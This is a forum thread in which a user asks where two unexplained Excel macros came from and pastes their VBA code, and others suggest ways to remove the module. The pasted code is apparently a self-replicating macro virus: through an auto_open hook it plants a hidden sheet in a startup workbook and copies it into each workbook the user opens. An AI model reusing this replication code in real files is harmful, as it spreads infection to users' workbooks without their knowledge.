Error Checking in Excel
Thanks Thanks:  0
Likes Likes:  0
Results 1 to 5 of 5

Thread: Auto Open Macro: Where did this come from?

  1. #1
    Board Regular
    Join Date
    Apr 2002
    Location
    St. Louis
    Posts
    71
    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Default

    Somehow or another, my computer has two macros stored in a file in the ExcelXLSTART directory.

    Every time I write a new macro or bring one home from work, these two little macros show up and get stored in my new file. How can I get rid of them and where did they come from.

    Any help would be greatly appreciated.

    Here is the code contained in this file from XLSTART:

    Sub auto_open()
    Application.OnSheetActivate = "ck_files"
    End Sub



    Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10

    Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
    .Title = ""
    .Subject = ""
    .Author = ""
    .Keywords = ""
    .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
    , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
    False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
    Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
    Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
    End Select
    End Sub




  2. #2
    MrExcel MVP
    Join Date
    Feb 2002
    Location
    Bogota, Colombia
    Posts
    11,959
    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Default

    Have you looked in the XLStart directory for any strange files ?
    Regards,

    Juan Pablo González
    http://www.juanpg.com

  3. #3
    Rest in Peace
    Join Date
    Feb 2002
    Posts
    1,582
    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Default

    Hi Dexter

    No idea where they cam from,but to remove them, push Alt+F11 then right click on the Module housing the code and select "Remove Module1"



  4. #4
    Board Regular
    Join Date
    Mar 2002
    Location
    Massachusetts, USA
    Posts
    255
    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Default

    I have the same problem. But, when I right click to remove, I cannot select this option. However, the macro is not listed as a module, but a project?

  5. #5
    Board Regular
    Join Date
    Apr 2002
    Location
    St. Louis
    Posts
    71
    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Default

    Dave,

    Thanks for your help. I'll give it a try. I assume you are referring to other files that I have created that now have this auto open procedure. If so, I'll need to move the desired macros out of that module before I zap it.
    Dexter

Some videos you may like

User Tag List

Like this thread? Share it with others

Like this thread? Share it with others

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •